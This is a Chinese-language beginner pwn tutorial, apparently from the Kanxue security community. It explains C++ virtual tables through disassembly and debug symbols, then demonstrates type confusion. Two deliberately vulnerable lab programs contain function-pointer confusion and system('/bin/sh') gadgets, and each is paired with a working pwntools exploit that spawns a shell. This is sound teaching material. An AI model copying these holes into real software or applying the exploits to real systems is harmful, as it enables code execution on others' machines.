专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
看雪学苑  ·  本周更新:Windbg高级调试命令补充讲解 ... ·  2 天前  
湛江日报  ·  最新!小米官宣!网友:期待 ·  昨天  
湛江日报  ·  最新!小米官宣!网友:期待 ·  昨天  
古北路烧烤哥  ·  这下知道什么是新基建新主线了吗? ·  2 天前  
古北路烧烤哥  ·  这下知道什么是新基建新主线了吗? ·  2 天前  
51好读  ›  专栏  ›  看雪学苑

PWN入门:观音救混淆-类型混淆

看雪学苑  · 公众号  · 互联网安全  · 2024-12-23 17:59

正文

类型混淆为何物

在高级程序语言中,一个变量通常由三部分组成,它们分别是数据类型、类型名、数值,其中类型名是程序语言区分变量的标志(同一作用范围内不可重复,比如C语言中函数内局部变量名不能重复),数值就是变量存储的数据,变量所属的数据类型决定了数值如何被解释。


变量所属的数据类型并不是一成不变的,在不少程序语言当中,是允许对变量的数据类型进行强制转换的。


变量的数据类型发生混淆时威胁可大可小,其中最为严重的就是函数变量的混淆。


函数变量

在C语言中函数会被分配一个地址,因此函数也可以被看作是一个指针类型的变量。


数据类型 (*函数名)(形参列表)

示例:
typedef void (*test_func)(void);

啥是多态?

结构体是C语言中一个更广为人知的概念,在此不会过多进行介绍。作为多变量的集合,Linux内核当中的结构体中常常会定义函数变量。


函数在我们的眼中,一般都是只能完成特定行为的,而函数变量可以绑定到任意的函数上,从这个角度上看,函数变量有着极大的自由度,Linux内核可以通过函数变量表现处不同的行为。


函数变量可以看作是实现多态的一种途径,这个多态是个什么东西呢?


虚函数与多态

多态这一概念源自于面向对象,用于借助同一种接口表现不同的行为,类似于插电孔,一个接口供应各种电器,不同电器可以被用于实现不同的目的。


虚函数就是C++实现多态的关键,它可以分成虚函数和纯虚函数。虚函数要求基类完成实现,子类可以重写虚函数,纯虚函数允许基类不进行实现,但要求子类必须实现,而且拥有纯虚函数的基类不能再创建实例对象,也就是作为抽象类存在。


C++中的虚函数

相比于C语言中的多态实现,C++中用于实现多态的虚函数会更加复杂一些,下面会用一个示例进行解析。


下方是示例程序的源代码,从源代码中我们可以看到,程序创建了名为my_test的基类,并定义了虚函数vtest1、纯虚函数vtest2以及函数test,子类testA中重写了虚函数vtest1,并且对纯虚函数进行了实现,主函数main会对它们进行调用。


除此之外,类还包含着构造函数和析构函数~,这两个函数都有一个特点,就是函数名前不带数据类型名,构造函数会类创建时调用,析构函数会在类销毁时调用,在基类my_test中,我们可以看到析构函数~my_test前带了virtual标识符,这是为了让子类销毁时可以正常运行析构函数。


#include 

using namespace std;

class my_test {
public:
my_test() {
cout << "enter my_test" << endl;
}
virtual ~my_test() {
cout << "enter leave my_test" << endl;
}
virtual void vtest1() {
cout << "is " << __func__ << endl;
}

virtual void vtest2() = 0;

void test_func();
};

void my_test::test_func(void) {
cout << "enter " << __func__ << endl;
}

class testA: public my_test {
public:
testA() {
cout << "enter testA" << endl;
}
~testA() {
cout << "enter leave testA" << endl;
}

void vtest1 () override {
cout << "is [testA] " << __func__ << endl;
}

void vtest2(void) {
cout << "is [testA] " << __func__ < }
};

int main(void)
{
my_test *tmp;

tmp = (my_test*)new testA();

tmp->vtest1();
tmp->vtest2();
tmp->test_func();

delete tmp;
}

程序的运行结果如下:


enter my_test
enter testA
is [testA] vtest1
is [testA] vtest2
enter test_func
leave testA
leave my_test

探究奇怪的符号名

从反汇编结果中,我们可以看到很多奇奇怪怪的名字,它们的名字怎么变成这样了呢?让我们先从最先被调用的plt节看起!


奇怪的PLT名

plt节的内容在下方并没有详细列出,因为它的解析流程与C语言是一致的,这里我们重点关注libstdc++.so是如何知道这种奇葩名字的。


plt节:
<_znwm class="code-snippet__variable">@plt>
<_zdlpvm class="code-snippet__variable">@plt>

主函数main:
call 401050 <_znwm class="code-snippet__variable">@plt>
call 401060 <_zdlpvm class="code-snippet__variable">@plt>

通过查看libstdc++.so中的符号信息可以知道,这些奇葩名字就是这个动态链接库定义的,通过比对运行期地址-运行期基地址得到的偏移值,可以确认这一现象。


ELF文件中的偏移值:
readelf -s /lib/x86_64-linux-gnu/libstdc++.so.6 | grep nwm
4817: 00000000000a9570 53 FUNC GLOBAL DEFAULT 13 _Znwm@@GLIBCXX_3.4
readelf -s /lib/x86_64-linux-gnu/libstdc++.so.6 | grep _ZdlPvm
1473: 00000000000a78e0 9 FUNC GLOBAL DEFAULT 13 _ZdlPvm@@CXXABI_1.3.9

运行期地址:
(gdb) info symbol 0x00007ffff7ca9570
operator new(unsigned long) in section .text of /lib/x86_64-linux-gnu/libstdc++.so.6
(gdb) info symbol 0x00007ffff7ca78e0
operator delete(void*, unsigned long) in section .text of /lib/x86_64-linux-gnu/libstdc++.so.6

动态链接库基地址:
0x7ffff7c00000 0x7ffff7c99000 0x99000 0x0 r--p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30

奇怪的new - 上

首先我们可以看到,调用<_znwm>处理new之前,会先将0x8压入rdi寄存器中作为第一个参数,这个0x8是什么东西呢?


mov    $0x8,%edi
call 401050 <_znwm>
mov %rax,%rbx
mov %rbx,%rdi
call 4013ea <_zn5testac1ev>

通过追踪程序可以看到,0x8会在new函数实际运行时使用,通过GDB的符号解析支持或者解析符号信息都可以确认这一点。


GDB显示:
operator new(unsigned long)

DWARF显示:
<1><24b3>: Abbrev Number: 13 (DW_TAG_subprogram)
<24b4> DW_AT_name : (indirect string, offset: 0xa4a): operator new
<24bb> DW_AT_linkage_name: (indirect string, offset: 0x5f4): _Znwm
<2><24c7>: Abbrev Number: 1 (DW_TAG_formal_parameter)
<24c8> DW_AT_type : <0x537>
<2><24cc>: Abbrev Number: 0

ELF显示:
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _Znwm@GLIBCXX_3.4 (2)

new这里接收0x8作为参数是为了分配占用8字节的指针。

初识调试符号

这里针对调试符号进行一下特别的说明,首先我们知道二进制文件是十分晦涩且难懂的,为了提高二进制文件的可读性,所以计算机提供调试符号将二进制信息转化为人类可读的语义信息(调试符号既可以像ELF文件一样打包进自身,也可以学习PE文件的做法,单独形成名为.pdb的文件)。


在Linux当中存在ELF符号和DWARF符号两种,首先我们先看下DWARF符号。


DWARF符号

在ELF文件中.debug_xxx节都是DWARF信息,在生成汇编文件.s时就可以看到它们的身影(通过GCC的-save-temps选项可以保留临时文件进行查看),Linux下查看二进制格式文件的DWARF信息,可以通过readelf --debug-dump将全部的DWARF信息转储出来。


ELF中有许多的.debug_xxx节,.debug_info节是需要我们重点关注的。


.debug_info节是DWARF的核心信息,它以树状图的形式存储DWARF信息,根节点是编译单元Compile Unit,每个.o文件都对应一个编译单元,编译单元下面的节点记录着所有需要使用的符号信息。


<1>可以看作是顶级符号,通过表明的符号级别可以将下属符号全部遍历出来。下面给出了一个示例,<1>中表明了DW_TAG_subprogram,这代表符号是函数,在属性名DW_AT_name中可以知道函数名是shell_get,函数节点包含一个名为DW_TAG_formal_parameter的子节点,它代表函数接收的形参,从DW_AT_name属性中可以看到形参名是msgDW_AT_type属性标明了变量的数据类型,通过索引值0x74会先发现该变量是占8字节的指针,再根据0x6f可以知道变量被const关键字修饰,最后通过0x68找到数据类型DW_TAG_base_type。此时我们可以推导出完整的数据类型signed char*


<0>: Abbrev Number: 55 (DW_TAG_compile_unit)
......
......
<1><1fa>: Abbrev Number: 23 (DW_TAG_subprogram)
<1fb> DW_AT_name : (indirect string, offset: 0): shell_get
......
<2><214>: Abbrev Number: 6 (DW_TAG_formal_parameter)
<215> DW_AT_name : msg
<219> DW_AT_decl_file : 1
<219> DW_AT_decl_line : 27
<21a> DW_AT_decl_column : 35
<21b> DW_AT_type : <0x74>
<21f> DW_AT_location : 2 byte block: 91 68 (DW_OP_fbreg: -24)
<2><222>: Abbrev Number: 0
......
<1><68>: Abbrev Number: 1 (DW_TAG_base_type)
<69> DW_AT_byte_size : 1
<6a> DW_AT_encoding : 6 (signed char)
<6b> DW_AT_name : (indirect string, offset: 0x5d): char
<1><6f>: Abbrev Number: 14 (DW_TAG_const_type)
<70> DW_AT_type : <0x68>
<1><74>: Abbrev Number: 2 (DW_TAG_pointer_type)
<75> DW_AT_byte_size : 8
<75> DW_AT_type : <0x6f>
......

ELF符号

ELF符号指的就是.symtab节中的内容,ELF符号信息并不如DWARF符合全面。


如果没有GDB这样的调试器,或者ELF文件内也没有DWARF信息,还想要分析函数的形参、局部变量等信息,就只能从函数的反汇编结果抓起了!


奇怪的new - 下

调用<_znwm>完成new操作之后,我们会发现new会给tmp分配一个可用的地址,然后就会拿这个地址作为形参,然后调用<_zn5testac1ev>函数。


mov    %rax,%rbx
movq $0x0,(%rbx)
mov %rbx,%rdi
call 4013b6 <_zn5testac1ev>

阅读_ZN5testAC1Ev函数的反汇编代码可以知道,_ZN5testAC1Ev函数是testA类的构造函数,它会先调用基类的my_test构造函数,在执行自身构造函数中的逻辑。


从这里我们可以看出来,构造函数的调用是编译过程中安排好的。


_ZN5testAC1Ev
-> mov %rdi,-0x18(%rbp)
-> _ZN7my_testC1Ev
-> mov %rdi,-0x8(%rbp)
-> lea 0x2a9f(%rip),%rdx # 0x403d90
-> mov -0x8(%rbp),%rax
-> mov %rdx,(%rax)
-> lea 0x2956(%rip),%rdx # 0x403d60
-> mov -0x18(%rbp),%rax
-> mov %rdx,(%rax)

上方给出了一些汇编代码,之所以将它们特别列出,是因为这些汇编代码做的事情并不是构造函数中指定的行为。


_ZN5testAC1Ev最先接受tmp的指针作为形参,然后将它放入rbp-0x18处,这是为了保存数据,避免_ZN7my_testC1Ev运行过程中破坏rdi。处理完形参后,我们可以发现my_testtestA的构造函数中存在着三条极其相似的汇编指令lea ; mov ; mov,它们做的事情也是相似的。第一步通过lea指令某数据在ELF文件内存镜像中的地址交给rdx,第二步通过rax防止tmp地址的数值,第三步将步骤一中的内存镜像地址存放到tmp上。


[22] .data.rel.ro      PROGBITS         0000000000403d50  00002d50
0000000000000088 0000000000000000 WA 0 0 8

根据地址查看ELF文件可以知道数据对应的是.data.rel.ro节,该节中的这段数据是做什么用的呢?


原来你是虚函数表!

调用testA的构造函数前,程序会将tmp的指针先交给rbx再给rdi,从这里看来,单独复制一份地址给rbx好像是个很多余的操作啊!


mov    %rax,%rbx
mov %rbx,%rdi
call 4013ea <_zn5testac1ev>

编译器是非常聪明的,当我们继续往下看时,就会发现程序会将tmp的地址放到rbp-0x18的位置上,之后就会通过mov (%rax),%rax将前面构造函数放置的地址A存到rax中,然后偏移0x10 / 0x18得到地址B,再将地址B上保存的地址放入rdx中,最后调用rdxrbp-0x18起到索引数据和作为形参传递的作用。


mov    %rbx,-0x18(%rbp)

vtest1:
mov -0x18(%rbp),%rax
mov (%rax),%rax
add $0x10,%rax
mov (%rax),%rdx
mov -0x18(%rbp),%rax
mov %rax,%rdi
call *%rdx

vtest2:
mov -0x18(%rbp),%rax
mov (%rax),%rax
add $0x18,%rax
mov (%rax),%rdx
mov -0x18(%rbp),%rax
mov %rax,%rdi
call *%rdx

函数1的地址等价于0x403d60 + 0x10,对应.data.rel.ro节上的0x4014de,函数2的地址等价于0x403d60 + 0x18,对应.data.rel.ro节上的0x40152e


Contents of section .data.rel.ro:
403d50 00000000 00000000 b03d4000 00000000 .........=@.....
403d60 5e144000 00000000 b2144000 00000000 ^.@.......@.....
403d70 de144000 00000000 2e154000 00000000 ..@.......@.....
403d80 00000000 00000000 c83d4000 00000000 .........=@.....
403d90 00000000 00000000 00000000 00000000 ................
403da0 9a134000 00000000 00000000 00000000 ..@.............
403db0 00000000 00000000 67204000 00000000 ........g @.....
403dc0 c83d4000 00000000 00000000 00000000 .=@.............
403dd0 70204000 00000000 p @.....

在反汇编代码中,可以发现这两个地址分别对应vtest1vtest2的函数实现。


00000000004014de <_zn5testa6vtest1ev>
000000000040152e <_zn5testa6vtest2ev>

到了这里我们就明白了,在根据类创建对象时会调用构造函数,而且子类的构造函数会调用基类的构造函数,构造函数分成类数据地址复制和执行指定行为两步。


编译阶段会根据类定义生成数据放入.data.rel.ro节内,运行阶段程序会将类数据的基地址存到分配的内存上,程序使用虚函数时会根据编译器指定的地址从ELF文件的内存镜像内获取虚函数的地址。


从上面可以看出,虚函数的地址是连续存放的,因此我们也可以将这段数据称作是虚函数表。


析构函数现行

在程序执行delete操作之前,还会进行一次call %rdx的操作。这里首先判断的是对象指针是否为空,如果为空就不进行call %rdx的操作。反之则从类数据偏移0x8处取出地址进行调用。


mov    -0x18(%rbp),%rax
test %rax,%rax
je 40124b
0x76>
mov (%rax),%rdx
add $0x8,%rdx
mov (%rdx),%rdx
mov %rax,%rdi
call *%rdx

.data.rel.ro节中可以知道,偏移0x8处的地址是0x4014b2


403d60 5e144000 00000000 b2144000 00000000

地址0x4014b2对应函数_ZN5testAD0Ev,并且该函数内部还会调用函数_ZN5testAD1Ev,通过分析这两个函数可以发现,它们就是析构函数。


4014b2 <_zn5testad0ev>
-> call 40145e <_zn5testad1ev>

类型混淆的严重性

C语言和C++实现虚函数的区别在,C语言自己定义一张虚函数表,C++则是编译器自动生成。但通过何种方式实现,函数变量的自由度都是比较大的,一旦将函数变量错误解析就会导致很严重的问题。


示例讲解

下面会以C语言和C++两种语言作为示例,展示虚函数导致的类型混淆。


C语言版本

下面给出了C语言程序的源代码。


#include 
#include
#include
#include

#define MAX_DATA_LEN 0x100

static void msg_print(const char* msg);

typedef struct _your_msg {
char msg_info[MAX_DATA_LEN];
void (*msg_info_print)(const char*);
} your_msg;

typedef struct _my_msg {
void (*msg_info_print)(const char*);
char msg_info[MAX_DATA_LEN];
} my_msg;

your_msg um = {
.msg_info = "is your\n\0",
.msg_info_print = msg_print,
};

static void shell_get(const char* msg)
{
system(msg);
}

static void msg_print(const char* msg)
{
printf("%s", msg);
}

static void vuln(void* ptr)
{
my_msg *mm = (my_msg*)ptr;

mm->msg_info_print(mm->msg_info);
}

int main(void)
{
void *tmp;

tmp = &um;
um.msg_info_print = msg_print;
um.msg_info_print(um.msg_info);

printf("please input something\n");
read(STDIN_FILENO, um.msg_info, MAX_DATA_LEN);
vuln(tmp);
}

从源代码中我们可以看到,main函数一开始使用的是your_msg结构体描述的um,而且um的缓冲区变量msg_info会从标准输入中读取内容,但传入vuln函数后,就会改为使用my_msg结构体进行描述,虽然your_msgmy_msg的成员是一样的,但是它们的摆放位置却是不同的,导致my_msgfunc成员对应your_msgmsg_info - msg_info + 0x8,此时我们就可以控制my_msgfunc的执行逻辑。


------------  ----------
| your_msg | | my_msg |
------------ ----------
| char* | | func |
------------ ----------
| func | | char* |
------------ ----------

构造exploit

经过上面的分析构造出下面的exploit。


import pwn
import time
import sys

pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)

def hack_by_c_axample():
payload = pwn.p64(target_info['elf_info'].sym['shell_get'])
payload += b'/bin/sh\0'
return payload

target_info = {
'exec_path': './type_confusion_example4c',
'elf_info': None,
'buf_len': 0x100,
'addr_len': 0x8,
'shell_get_func_addr': 0x0,
}

target_info['elf_info'] = pwn.ELF(target_info['exec_path'])
conn = pwn.process(target_info['exec_path'])

payload = hack_by_c_axample()
conn.sendafter(b'please input something\n', payload)

conn.interactive()

成功PWN

运行exploit后成功获取Shell。


[*] '/home/astaroth/Labs/PWN/UserMode/TypeConfusion/type_confusion_example4c'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './type_confusion_example4c': pid 42818
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth)
$ exit

C++语言版本

下面是C++程序的源代码。


#include 
#include

using namespace std;


#define MAX_DATA_LEN 0x100

static void vuln(void);

class offline {
public:
virtual void offline_end() = 0;
};

class offline_a: public offline {
public:
offline_a() {
strncpy(desc, "hello c++\0", MAX_DATA_LEN);
}

virtual void offline_end() {
cout << desc << endl;
}

char desc[MAX_DATA_LEN];
};

class offline_b: public offline {
public:
virtual void offline_end() {
desc();
}

void (*desc)(void);
};

static void vuln(void) {
system("/bin/sh");
}

int main(void)
{
string buf;
offline* tmpB;
offline_a* apt;

tmpB = new offline_b();
apt = static_cast(tmpB);

cout << "please input something" << endl;
cin >> buf;
strncpy(apt->desc, buf.c_str(), MAX_DATA_LEN);

apt->offline_end();
}

从上面可以看到,offline_aoffline_b对于虚函数offline_end的实现是不一样的,关键在于一个将desc看作是缓冲区变量,另一个将desc看作是函数变量,main函数中会先创建offline_b再将其强转为offline_a,此时会将desc看作是缓冲区变量,当offline_end被触发时,desc就变成了函数变量。因为程序允许我们在desc作为缓冲区变量时向其中写入数据,此时offline_end的执行流程就变成了我们可以控制的。


构造exploit

经过上面的分析构造出下面的exploit。


import pwn
import time
import sys

pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)

def hack_by_cxx_axample():
payload = pwn.p64(target_info['elf_info'].sym['_ZL4vulnv'])
return payload

target_info = {
'exec_path': './type_confusion_example4cpp',
'elf_info': None,
'buf_len': 0x100,
'addr_len': 0x8,
'shell_get_func_addr': 0x0,
}

target_info['elf_info'] = pwn.ELF(target_info['exec_path'])
conn = pwn.process(target_info['exec_path'])

payload = hack_by_cxx_axample()
conn.sendafter(b'please input something\n', payload)

conn.interactive()

成功PWN

运行exploit后成功获取Shell。


[*] '/home/astaroth/Labs/PWN/UserMode/TypeConfusion/type_confusion_example4cpp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './type_confusion_example4cpp': pid 42828
[*] Switching to interactive mode
$ ls
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth)
$ exit
[*] Got EOF while reading in interactive
$




看雪ID:福建炒饭乡会

https://bbs.kanxue.com/user-home-1000123.htm

*本文为看雪论坛优秀文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区


# 往期推荐

1、Frida 逆向一个 APP

2、强网杯S8 Rust Pwn chat-with-me出题思路分享

3、浅析libc2.38版本及以前tcache安全机制演进过程与绕过手法

4、购物APP设备风控SDK-mtop简单分析

5、PWN入门:偷吃特权-SetUID





球分享

球点赞

球在看



点击阅读原文查看更多